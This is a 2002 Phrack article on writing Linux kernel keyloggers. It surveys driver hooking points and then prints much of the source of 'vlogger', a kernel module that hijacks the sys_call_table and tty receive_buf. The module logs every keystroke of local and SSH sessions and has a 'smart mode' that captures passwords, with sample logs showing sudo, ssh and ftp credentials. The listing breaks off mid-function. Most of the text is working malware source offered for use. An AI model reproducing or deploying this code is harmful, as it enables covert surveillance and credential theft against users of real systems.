4 Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
7 |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
8 |=-----------------------------------------------------------------------=|
9 |=------------------------=[ rd <rd@thc.org> ]=--------------------------=|
10 |=------------------------=[ June 19th, 2002 ]=--------------------------=|
16 2 - How Linux keyboard driver work
18 3 - Kernel based keylogger approaches
19 3.1 - Interrupt handler
20 3.2 - Function hijacking
21 3.2.1 - handle_scancode
25 3.2.5 - sys_read/sys_write
28 4.1 - The syscall/tty approach
43 This article is divided into two parts. The first part of the paper
44 gives an overview on how the linux keyboard driver work, and discusses
45 methods that can be used to create a kernel based keylogger. This part
46 will be useful for those who want to write a kernel based keylogger, or to
47 write their own keyboard driver (for supporting input of non-supported
48 language in linux environment, ...) or to program taking advantage of many
49 features in the Linux keyboard driver.
51 The second part presents detail of vlogger, a smart kernel based linux
52 keylogger, and how to use it. Keylogger is a very interesting code being
53 used widely in honeypots, hacked systems, ... by white and black hats. As
54 most of us known, besides user space keyloggers (such as iob, uberkey,
55 unixkeylogger, ...), there are some kernel based keyloggers. The earliest
56 kernel based keylogger is linspy of halflife which was published in Phrack
57 50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
58 Keylogger' paper by mercenary (see [7]) that I found when was writing this
59 paper. The common method of those kernel based keyloggers using is to log
60 user keystrokes by intercepting sys_read or sys_write system call.
61 However, this approach is quite unstable and slowing down the whole system
62 noticeably because sys_read (or sys_write) is the generic read/write
63 function of the system; sys_read is called whenever a process wants to read
64 something from devices (such as keyboard, file, serial port, ...). In
65 vlogger, I used a better way to implement it that hijacks the tty buffer
68 The reader is supposed to possess the knowledge on Linux Loadable Kernel
69 Module. Articles [1] and [2] are recommended to read before further
73 --[ 2 - How Linux keyboard driver work
75 Lets take a look at below figure to know how user inputs from console
76 keyboard are processed:
78 _____________ _________ _________
79 / \ put_queue| |receive_buf| |tty_read
80 /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
82 \_____________/ |_________| |_________|
84 _________ ____________
86 --->|/dev/ttyX|------->|user process|
88 |_________| |____________|
93 First, when you press a key on the keyboard, the keyboard will send
94 corresponding scancodes to keyboard driver. A single key press can produce
95 a sequence of up to six scancodes.
97 The handle_scancode() function in the keyboard driver parses the stream
98 of scancodes and converts it into a series of key press and key release
99 events called keycode by using a translation-table via kbd_translate()
100 function. Each key is provided with a unique keycode k in the range 1-127.
101 Pressing key k produces keycode k, while releasing it produces keycode
104 For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
105 Releasing 'a' produces keycode 158 (128+30).
107 Next, keycodes are converted to key symbols by looking them up on the
108 appropriate keymap. This is a quite complex process. There are eight
109 possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
110 ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
111 and locks determines the keymap used.
113 After the above handling, the obtained characters are put into the raw
114 tty queue - tty_flip_buffer.
116 In the tty line discipline, receive_buf() function is called periodically
117 to get characters from tty_flip_buffer then put them into tty read queue.
119 When user process want to get user input, it calls read() function on
120 stdin of the process. sys_read() function will calls read() function
121 defined in file_operations structure (which is pointed to tty_read) of
122 corresponding tty (ex /dev/tty0) to read input characters and return to the
125 The keyboard driver can be in one of 4 modes:
126 - scancode (RAW MODE): the application gets scancodes for input.
127 It is used by applications that implement their own keyboard
130 - keycode (MEDIUMRAW MODE): the application gets information on
131 which keys (identified by their keycodes) get pressed and
134 - ASCII (XLATE MODE): the application effectively gets the
135 characters as defined by the keymap, using an 8-bit encoding.
137 - Unicode (UNICODE MODE): this mode only differs from the ASCII
138 mode by allowing the user to compose UTF8 unicode characters by
139 their decimal value, using Ascii_0 to Ascii_9, or their
140 hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
141 be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
142 where each X is an hexadecimal digit).
144 Those modes influence what type of data that applications will get as
145 keyboard input. For more details on scancode, keycode and keymaps, please
149 --[ 3 - Kernel based keylogger approaches
151 We can implement a kernel based keylogger in two ways by writing our own
152 keyboard interrupt handler or hijacking one of input processing functions.
155 ----[ 3.1 - Interrupt handler
157 To log keystrokes, we will use our own keyboard interrupt handler. Under
158 Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
159 receives a keyboard interrupt, our own keyboard interrupt handler read the
160 scancode and keyboard status. Keyboard events can be read and written via
161 port 0x60(Keyboard data register) and 0x64(Keyboard status register).
163 /* below code is intel specific */
164 #define KEYBOARD_IRQ 1
165 #define KBD_STATUS_REG 0x64
166 #define KBD_CNTL_REG 0x64
167 #define KBD_DATA_REG 0x60
169 #define kbd_read_input() inb(KBD_DATA_REG)
170 #define kbd_read_status() inb(KBD_STATUS_REG)
171 #define kbd_write_output(val) outb(val, KBD_DATA_REG)
172 #define kbd_write_command(val) outb(val, KBD_CNTL_REG)
174 /* register our own IRQ handler */
175 request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
177 In my_keyboard_irq_handler():
178 scancode = kbd_read_input();
179 key_status = kbd_read_status();
180 log_scancode(scancode);
182 This method is platform dependent. So it won't be portable among
183 platforms. And you have to be very careful with your interrupt handler if
184 you don't want to crash your box ;)
187 ----[ 3.2 - Function hijacking
189 Based on the Figure 1, we can implement our keylogger to log user inputs
190 by hijacking one of handle_scancode(), put_queue(), receive_buf(),
191 tty_read() and sys_read() functions. Note that we can't intercept
192 tty_insert_flip_char() function because it is an INLINE function.
195 ------[ 3.2.1 - handle_scancode
197 This is the entry function of the keyboard driver (see keyboard.c). It
198 handles scancodes which are received from keyboard.
200 # /usr/src/linux/drives/char/keyboard.c
201 void handle_scancode(unsigned char scancode, int down);
203 We can replace original handle_scancode() function with our own to logs
204 all scancodes. But handle_scancode() function is not a global and exported
205 function. So to do this, we can use kernel function hijacking technique
206 introduced by Silvio (see [5]).
208 /* below is a code snippet written by Plasmoid */
209 static struct semaphore hs_sem, log_sem;
210 static int logging=1;
213 static char hs_code[CODESIZE];
214 static char hs_jump[CODESIZE] =
215 "\xb8\x00\x00\x00\x00" /* movl $0,%eax */
216 "\xff\xe0" /* jmp *%eax */
219 void (*handle_scancode) (unsigned char, int) =
220 (void (*)(unsigned char, int)) HS_ADDRESS;
222 void _handle_scancode(unsigned char scancode, int keydown)
224 if (logging && keydown)
225 log_scancode(scancode, LOGFILE);
228 * Restore first bytes of the original handle_scancode code. Call
229 * the restored function and re-restore the jump code. Code is
230 * protected by semaphore hs_sem, we only want one CPU in here at a
235 memcpy(handle_scancode, hs_code, CODESIZE);
236 handle_scancode(scancode, keydown);
237 memcpy(handle_scancode, hs_jump, CODESIZE);
242 HS_ADDRESS is set by the Makefile executing this command
243 HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
245 Similar to method presented in 3.1, the advantage of this method is the
246 ability to log keystrokes under X and the console, no matter if a tty is
247 invoked or not. And you will know exactly what key is pressed on the
248 keyboard (including special keys such as Control, Alt, Shift, Print Screen,
249 ...). But this method is platform dependent and won't be portable among
250 platforms. This method also can't log keystroke of remote sessions and is
251 quite complex for building an advance logger.
254 ------[ 3.2.2 - put_queue
256 This function is called by handle_scancode() function to put characters
259 # /usr/src/linux/drives/char/keyboard.c
260 void put_queue(int ch);
262 To intercept this function, we can use the above technique as in section
266 ------[ 3.2.3 - receive_buf
268 receive_buf() function is called by the low-level tty driver to send
269 characters received by the hardware to the line discipline for processing.
271 # /usr/src/linux/drivers/char/n_tty.c */
272 static void n_tty_receive_buf(struct tty_struct *tty, const
273 unsigned char *cp, char *fp, int count)
275 cp is a pointer to the buffer of input character received by the device.
276 fp is a pointer to a pointer of flag bytes which indicate whether a
277 character was received with a parity error, etc.
279 Lets take a deeper look into tty structures
281 # /usr/include/linux/tty.h
284 struct tty_driver driver;
285 struct tty_ldisc ldisc;
286 struct termios *termios, *termios_locked;
290 # /usr/include/linux/tty_ldisc.h
295 void (*receive_buf)(struct tty_struct *,
296 const unsigned char *cp, char *fp, int count);
297 int (*receive_room)(struct tty_struct *);
298 void (*write_wakeup)(struct tty_struct *);
301 To intercept this function, we can save the original tty receive_buf()
302 function then set ldisc.receive_buf to our own new_receive_buf() function
303 in order to logging user inputs.
305 Ex: to log inputs on the tty0
307 int fd = open("/dev/tty0", O_RDONLY, 0);
308 struct file *file = fget(fd);
309 struct tty_struct *tty = file->private_data;
310 old_receive_buf = tty->ldisc.receive_buf;
311 tty->ldisc.receive_buf = new_receive_buf;
313 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
316 logging(tty, cp, count); //log inputs
318 /* call the original receive_buf */
319 (*old_receive_buf)(tty, cp, fp, count);
323 ------[ 3.2.4 - tty_read
325 This function is called when a process wants to read input characters
326 from a tty via sys_read() function.
328 # /usr/src/linux/drives/char/tty_io.c
329 static ssize_t tty_read(struct file * file, char * buf, size_t count,
332 static struct file_operations tty_fops = {
339 release: tty_release,
343 To log inputs on the tty0:
345 int fd = open("/dev/tty0", O_RDONLY, 0);
346 struct file *file = fget(fd);
347 old_tty_read = file->f_op->read;
348 file->f_op->read = new_tty_read;
351 ------[ 3.2.5 - sys_read/sys_write
353 We will intercept sys_read/sys_write system calls to redirect it to our
354 own code which logs the content of the read/write calls. This method was
355 presented by halflife in Phrack 50 (see [4]). I highly recommend reading
356 that paper and a great article written by pragmatic called "Complete Linux
357 Loadable Kernel Modules" (see [2]).
359 The code to intercept sys_read/sys_write will be something like this:
361 extern void *sys_call_table[];
362 original_sys_read = sys_call_table[__NR_read];
363 sys_call_table[__NR_read] = new_sys_read;
368 This part will introduce my kernel keylogger which is used method
369 described in section 3.2.3 to acquire more abilities than common keyloggers
370 used sys_read/sys_write systemcall replacement approach. I have tested the
371 code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
375 ----[ 4.1 - The syscall/tty approach
377 To logging both local (logged from console) and remote sessions, I chose
378 the method of intercepting receive_buf() function (see 3.2.3).
380 In the kernel, tty_struct and tty_queue structures are dynamically
381 allocated only when the tty is open. Thus, we also have to intercept
382 sys_open syscall to dynamically hooking the receive_buf() function of each
383 tty or pty when it's invoked.
385 // to intercept open syscall
386 original_sys_open = sys_call_table[__NR_open];
387 sys_call_table[__NR_open] = new_sys_open;
390 asmlinkage int new_sys_open(const char *filename, int flags, int mode)
393 // call the original_sys_open
394 ret = (*original_sys_open)(filename, flags, mode);
397 struct tty_struct * tty;
400 tty = file->private_data;
403 tty->ldisc.receive_buf != new_receive_buf) {
405 // save the old receive_buf
406 old_receive_buf = tty->ldisc.receive_buf;
410 * init to intercept receive_buf of this tty
411 * tty->ldisc.receive_buf = new_receive_buf;
413 init_tty(tty, TTY_INDEX(tty));
418 // our new receive_buf() function
419 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
422 if (!tty->real_raw && !tty->raw) // ignore raw mode
423 // call our logging function to log user inputs
424 vlogger_process(tty, cp, count);
425 // call the original receive_buf
426 (*old_receive_buf)(tty, cp, fp, count);
432 - Logs both local and remote sessions (via tty & pts)
434 - Separate logging for each tty/session. Each tty has their own logging
437 - Nearly support all special chars such as arrow keys (left, right, up,
438 down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
439 Home, Page Up, Page Down, BackSpace, ...
441 - Support some line editing keys included CTRL-U and BackSpace.
443 - Timestamps logging, timezone supported (ripped off some codes from
446 - Multiple logging modes
448 o dumb mode: logs all keystrokes
450 o smart mode: detects password prompt automatically to log
451 user/password only. I used the similar technique presented in
452 "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
453 Designer and Dug Song (see [6]). When the application turns input
454 echoing off, we assume that it is for entering a password.
456 o normal mode: disable logging
458 You can switch between logging modes by using a magic password.
460 #define VK_TOGLE_CHAR 29 // CTRL-]
461 #define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
462 // then press VK_TOGLE_CHAR key
464 ----[ 4.3 - How to use
466 Change the following options
468 // directory to store log files
469 #define LOG_DIR "/tmp/log"
471 // your local timezone
472 #define TIMEZONE 7*60*60 // GMT+7
474 // your magic password
475 #define MAGIC_PASS "31337"
477 Below is how the log file looks like:
479 [root@localhost log]# ls -l
481 -rw------- 1 root root 633 Jun 19 20:59 pass.log
482 -rw------- 1 root root 37593 Jun 19 18:51 pts11
483 -rw------- 1 root root 56 Jun 19 19:00 pts20
484 -rw------- 1 root root 746 Jun 19 20:06 pts26
485 -rw------- 1 root root 116 Jun 19 19:57 pts29
486 -rw------- 1 root root 3219 Jun 19 21:30 tty1
487 -rw------- 1 root root 18028 Jun 19 20:54 tty2
490 [root@localhost log]# head tty2 // local session
491 <19/06/2002-20:53:47 uid=501 bash> pwd
492 <19/06/2002-20:53:51 uid=501 bash> uname -a
493 <19/06/2002-20:53:53 uid=501 bash> lsmod
494 <19/06/2002-20:53:56 uid=501 bash> pwd
495 <19/06/2002-20:54:05 uid=501 bash> cd /var/log
496 <19/06/2002-20:54:13 uid=501 bash> tail messages
497 <19/06/2002-20:54:21 uid=501 bash> cd ~
498 <19/06/2002-20:54:22 uid=501 bash> ls
499 <19/06/2002-20:54:29 uid=501 bash> tty
500 <19/06/2002-20:54:29 uid=501 bash> [UP]
502 [root@localhost log]# tail pts11 // remote session
503 <19/06/2002-18:48:27 uid=0 bash> cd new
504 <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
505 <19/06/2002-18:48:21 uid=0 bash> lsmod
506 <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
507 <19/06/2002-18:48:28 uid=0 bash> ls -l
508 <19/06/2002-18:48:30 uid=0 bash> tail pts11
509 <19/06/2002-18:48:38 uid=0 bash> [UP] | more
510 <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
511 <19/06/2002-18:50:48 uid=0 vi> :q
512 <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
515 [root@localhost log]# cat pass.log
516 [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
517 USER/CMD sudo traceroute yahoo.com
521 [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
522 USER/CMD ssh guest@host.com
525 [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
526 USER/CMD open ftp.ilog.fr
530 [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
535 Please check http://www.thc.org/ for update on the new version
541 Thanks to plasmoid, skyper for your very useful comments
542 Greets to THC, vnsecurity and all friends
543 Finally, thanks to mr. thang for english corrections
548 [1] Linux Kernel Module Programming
549 http://www.tldp.org/LDP/lkmpg/
550 [2] Complete Linux Loadable Kernel Modules - Pragmatic
551 http://www.thc.org/papers/LKM_HACKING.html
552 [3] The Linux keyboard driver - Andries Brouwer
553 http://www.linuxjournal.com/lj-issues/issue14/1080.html
554 [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
555 http://www.phrack.com/phrack/50/P50-05
556 [5] Kernel function hijacking - Silvio Cesare
557 http://www.big.net.au/~silvio/kernel-hijack.txt
558 [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
559 http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
560 [7] Kernel Based Keylogger - Mercenary
561 http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
563 --[ 7 - Keylogger sources
565 <++> vlogger/Makefile
569 # LOCAL_ONLY logging local session only. Doesn't intercept
570 # sys_open system call
571 # DEBUG Enable debug. Turn on this options will slow
575 KERNELDIR =/usr/src/linux
576 include $(KERNELDIR)/.config
577 MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
579 MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
580 CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
581 -Wstrict-prototypes -fomit-frame-pointer -pipe \
582 -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
588 $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
593 <++> vlogger/vlogger.c
597 * Copyright (C) 2002 rd <rd@vnsecurity.net>
599 * Please check http://www.thc.org/ for update
601 * This program is free software; you can redistribute it and/or modify
602 * it under the terms of the GNU General Public License as published by
603 * the Free Software Foundation; either version 2 of the License, or
604 * (at your option) any later version
606 * This program is distributed in the hope that it will be useful, but
607 * WITHOUT ANY WARRANTY; without even the implied warranty of
608 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
609 * General Public License for more details.
611 * Greets to THC & vnsecurity
615 #define __KERNEL_SYSCALLS__
616 #include <linux/version.h>
617 #include <linux/module.h>
618 #include <linux/kernel.h>
619 #include <linux/smp_lock.h>
620 #include <linux/sched.h>
621 #include <linux/unistd.h>
622 #include <linux/string.h>
623 #include <linux/file.h>
624 #include <asm/uaccess.h>
625 #include <linux/proc_fs.h>
626 #include <asm/errno.h>
629 #ifndef KERNEL_VERSION
630 #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
633 #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
634 MODULE_LICENSE("GPL");
635 MODULE_AUTHOR("rd@vnsecurity.net");
638 #define MODULE_NAME "vlogger "
639 #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
642 #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
644 #define DPRINT(format, args...)
647 #define N_TTY_NAME "tty"
648 #define N_PTS_NAME "pts"
649 #define MAX_TTY_CON 8
650 #define MAX_PTS_CON 256
651 #define LOG_DIR "/tmp/log"
652 #define PASS_LOG LOG_DIR "/pass.log"
654 #define TIMEZONE 7*60*60 // GMT+7
657 #define BACK_SPACE_CHAR1 127 // local
658 #define BACK_SPACE_CHAR2 8 // remote
660 #define VK_TOGLE_CHAR 29 // CTRL-]
661 #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
665 #define VK_DUMBMODE 1
666 #define VK_SMARTMODE 2
667 #define DEFAULT_MODE VK_DUMBMODE
669 #define MAX_BUFFER 256
670 #define MAX_SPECIAL_CHAR_SZ 12
672 #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
673 + (tty)->driver.name_base
674 #define TTY_INDEX(tty) tty->driver.type == \
675 TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
676 TTY_NUMBER(tty):TTY_NUMBER(tty)
677 #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
678 #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
681 #define TTY_NAME(tty) (tty->driver.type == \
682 TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
683 tty->driver.type == TTY_DRIVER_TYPE_PTY && \
684 tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
686 #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
687 #define END_KMEM set_fs(old_fs); }
689 extern void *sys_call_table[];
693 struct tty_struct *tty;
694 char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
700 struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
701 void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
703 asmlinkage int (*original_sys_open)(const char *, int, int);
705 int vlogger_mode = DEFAULT_MODE;
708 static inline void init_tty(struct tty_struct *, int);
711 static char *_tty_make_name(struct tty_struct *tty,
712 const char *name, char *buf)
714 int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
717 strcpy(buf, "NULL tty");
720 idx + tty->driver.name_base);
724 char *tty_name(struct tty_struct *tty, char *buf)
726 return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
730 #define SECS_PER_HOUR (60 * 60)
731 #define SECS_PER_DAY (SECS_PER_HOUR * 24)
732 #define isleap(year) \
733 ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
734 #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
735 #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
748 * Convert from epoch to date
751 int epoch2time (const time_t *t, long int offset, struct vtm *tp)
753 static const unsigned short int mon_yday[2][13] = {
755 { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
757 { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
760 long int days, rem, y;
761 const unsigned short int *ip;
763 days = *t / SECS_PER_DAY;
764 rem = *t % SECS_PER_DAY;
770 while (rem >= SECS_PER_DAY) {
774 tp->tm_hour = rem / SECS_PER_HOUR;
775 rem %= SECS_PER_HOUR;
776 tp->tm_min = rem / 60;
777 tp->tm_sec = rem % 60;
780 while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
781 long int yg = y + days / 365 - (days % 365 < 0);
782 days -= ((yg - y) * 365
783 + LEAPS_THRU_END_OF (yg - 1)
784 - LEAPS_THRU_END_OF (y - 1));
787 tp->tm_year = y - 1900;
788 if (tp->tm_year != y - 1900)
790 ip = mon_yday[isleap(y)];
791 for (y = 11; days < (long int) ip[y]; --y)
795 tp->tm_mday = days + 1;
801 * Get current date & time
804 void get_time (char *date_time)
810 do_gettimeofday(&tv);
811 t = (time_t)tv.tv_sec;
813 epoch2time(&t, TIMEZONE, &tm);
815 sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
816 tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
822 * Get task structure from pgrp id
825 inline struct task_struct *get_task(pid_t pgrp)
827 struct task_struct *task = current;
830 if (task->pgrp == pgrp) {
833 task = task->next_task;
834 } while (task != current);
839 #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
840 #define WRITABLE(f) (f->f_op && f->f_op->write)
842 int write_to_file(char *logfile, char *buf, int size)
845 struct file *f = NULL;
849 f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
852 DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
856 _write(f, buf, size);
858 DPRINT("%s does not have a write method\n",
863 if ((ret = filp_close(f,NULL)))
864 DPRINT("Error %d closing %s\n", -ret, logfile);
873 #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
874 #define END_ROOT current->fsuid = saved_fsuid; }
881 void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
886 char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
888 struct task_struct *task;
890 if (vlogger_mode == VK_NORMAL)
893 if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
896 task = get_task(tty->pgrp);
898 for (i=0; i<tmp->lastpos; i++)
899 if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
902 tmp->buf[tmp->lastpos++] = 0x0A;
904 tmp->buf[tmp->lastpos] = 0;
906 if (vlogger_mode == VK_DUMBMODE) {
907 snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
908 LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
913 snprintf(loginfo, sizeof(loginfo)-1,
914 "<%s uid=%d %s> %s", date_time,
915 task->uid, task->comm, tmp->buf);
917 snprintf(loginfo, sizeof(loginfo)-1,
918 "<%s> %s", date_time, tmp->buf);
920 write_to_file(logfile, loginfo, strlen(loginfo));
922 write_to_file(logfile, tmp->buf, tmp->lastpos);
928 DPRINT("%s/%d uid=%d %s: %s",
929 TTY_NAME(tty), TTY_NUMBER(tty),
930 task->uid, task->comm, tmp->buf);
932 DPRINT("%s", tmp->buf);
939 * Logging USER/CMD and PASS in SMART_MODE
946 snprintf(loginfo, sizeof(loginfo)-1,
947 "\n[%s tty=%s/%d uid=%d %s]\n"
948 "USER/CMD %s", date_time,
949 TTY_NAME(tty),TTY_NUMBER(tty),
950 task->uid, task->comm, tmp->buf);
952 snprintf(loginfo, sizeof(loginfo)-1,
953 "\n[%s tty=%s/%d]\nUSER/CMD %s",
954 date_time, TTY_NAME(tty),
955 TTY_NUMBER(tty), tmp->buf);
957 write_to_file(PASS_LOG, loginfo, strlen(loginfo));
959 snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
961 write_to_file (PASS_LOG, loginfo, strlen(loginfo));
968 DPRINT("USER/CMD %s", tmp->buf);
970 DPRINT("PASS %s", tmp->buf);
974 if (!cont) tmp->buf[--tmp->lastpos] = 0;
978 #define resetbuf(t) \
984 #define append_c(t, s, n) \
987 strncat(t->buf, s, n); \
990 static inline void reset_all_buf(void)
993 for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
998 void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
1004 append_c(tmp, "[ALT-\']", 7);
1007 append_c(tmp, "[ALT-,]", 7);
1010 append_c(tmp, "[ALT--]", 7);
1013 append_c(tmp, "[ALT-.]", 7);
1016 append_c(tmp, "[ALT-/]", 7);
1019 append_c(tmp, "[ALT-0]", 7);
1022 append_c(tmp, "[ALT-1]", 7);
1025 append_c(tmp, "[ALT-2]", 7);
1028 append_c(tmp, "[ALT-3]", 7);
1031 append_c(tmp, "[ALT-4]", 7);
1034 append_c(tmp, "[ALT-5]", 7);
1037 append_c(tmp, "[ALT-6]", 7);
1040 append_c(tmp, "[ALT-7]", 7);
1043 append_c(tmp, "[ALT-8]", 7);
1046 append_c(tmp, "[ALT-9]", 7);
1049 append_c(tmp, "[ALT-;]", 7);
1052 append_c(tmp, "[ALT-=]", 7);
1055 append_c(tmp, "[ALT-[]", 7);
1058 append_c(tmp, "[ALT-\\]", 7);
1061 append_c(tmp, "[ALT-]]", 7);
1064 append_c(tmp, "[ALT-`]", 7);
1067 append_c(tmp, "[ALT-A]", 7);
1070 append_c(tmp, "[ALT-B]", 7);
1073 append_c(tmp, "[ALT-C]", 7);
1076 append_c(tmp, "[ALT-D]", 7);
1079 append_c(tmp, "[ALT-E]", 7);
1082 append_c(tmp, "[ALT-F]", 7);
1085 append_c(tmp, "[ALT-G]", 7);
1088 append_c(tmp, "[ALT-H]", 7);
1091 append_c(tmp, "[ALT-I]", 7);
1094 append_c(tmp, "[ALT-J]", 7);
1097 append_c(tmp, "[ALT-K]", 7);
1100 append_c(tmp, "[ALT-L]", 7);
1103 append_c(tmp, "[ALT-M]", 7);
1106 append_c(tmp, "[ALT-N]", 7);
1109 append_c(tmp, "[ALT-O]", 7);
1112 append_c(tmp, "[ALT-P]", 7);
1115 append_c(tmp, "[ALT-Q]", 7);
1118 append_c(tmp, "[ALT-R]", 7);
1121 append_c(tmp, "[ALT-S]", 7);
1124 append_c(tmp, "[ALT-T]", 7);
1127 append_c(tmp, "[ALT-U]", 7);
1130 append_c(tmp, "[ALT-V]", 7);
1133 append_c(tmp, "[ALT-X]", 7);
1136 append_c(tmp, "[ALT-Y]", 7);
1139 append_c(tmp, "[ALT-Z]", 7);
1147 append_c(tmp, "[LEFT]", 6);
1151 append_c(tmp, "[RIGHT]", 7);
1155 append_c(tmp, "[UP]", 4);
1159 append_c(tmp, "[DOWN]", 6);
1162 // Pause/Break: 27 91 80
1163 append_c(tmp, "[BREAK]", 7);
1171 append_c(tmp, "[F1]", 4);
1175 append_c(tmp, "[F2]", 4);
1179 append_c(tmp, "[F3]", 4);
1183 append_c(tmp, "[F4]", 4);
1187 append_c(tmp, "[F5]", 4);
1192 // PgUp: 27 91 53 126
1193 append_c(tmp, "[PgUP]", 6);
1196 // PgDown: 27 91 54 126
1201 // Home: 27 91 49 126
1202 append_c(tmp, "[HOME]", 6);
1205 // End: 27 91 52 126
1206 append_c(tmp, "[END]", 5);
1209 // Insert: 27 91 50 126
1210 append_c(tmp, "[INS]", 5);
1213 // Delete: 27 91 51 126
1214 append_c(tmp, "[DEL]", 5);
1224 // F9: 27 91 50 48 126
1225 append_c(tmp, "[F9]", 4);
1228 // F10: 27 91 50 49 126
1229 append_c(tmp, "[F10]", 5);
1232 // F11: 27 91 50 51 126
1233 append_c(tmp, "[F11]", 5);
1236 // F12: 27 91 50 52 126
1237 append_c(tmp, "[F12]", 5);
1240 // Shift-F1: 27 91 50 53 126
1241 append_c(tmp, "[SH-F1]", 7);
1244 // Shift-F2: 27 91 50 54 126
1245 append_c(tmp, "[SH-F2]", 7);
1248 // Shift-F3: 27 91 50 56 126
1249 append_c(tmp, "[SH-F3]", 7);
1252 // Shift-F4: 27 91 50 57 126
1253 append_c(tmp, "[SH-F4]", 7);
1259 // F6: 27 91 49 55 126
1260 append_c(tmp, "[F6]", 4);
1263 // F7: 27 91 49 56 126
1264 append_c(tmp, "[F7]", 4);
1267 // F8: 27 91 49 57 126
1268 append_c(tmp, "[F8]", 4);
1271 // Shift-F5: 27 91 51 49 126
1272 append_c(tmp, "[SH-F5]", 7);
1275 // Shift-F6: 27 91 51 50 126
1276 append_c(tmp, "[SH-F6]", 7);
1279 // Shift-F7: 27 91 51 51 126
1280 append_c(tmp, "[SH-F7]", 7);
1283 // Shift-F8: 27 91 51 52 126
1284 append_c(tmp, "[SH-F8]", 7);
1295 * Called whenever user press a key
1298 void vlogger_process(struct tty_struct *tty,
1299 const unsigned char *cp, int count)
1301 struct tlogger *tmp = ttys[TTY_INDEX(tty)];
1304 DPRINT("erm .. unknow error???\n");
1305 init_tty(tty, TTY_INDEX(tty));
1306 tmp = ttys[TTY_INDEX(tty)];
1311 if (vlogger_mode == VK_SMARTMODE) {
1312 if (tmp->status && !IS_PASSWD(tty)) {
1315 if (!tmp->pass && IS_PASSWD(tty)) {
1316 logging(tty, tmp, 0);
1319 if (tmp->pass && !IS_PASSWD(tty)) {
1321 logging(tty, tmp, 0);
1324 tmp->pass = IS_PASSWD(tty);
1328 if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
1329 logging(tty, tmp, 1);
1334 if (cp[0] == VK_TOGLE_CHAR) {
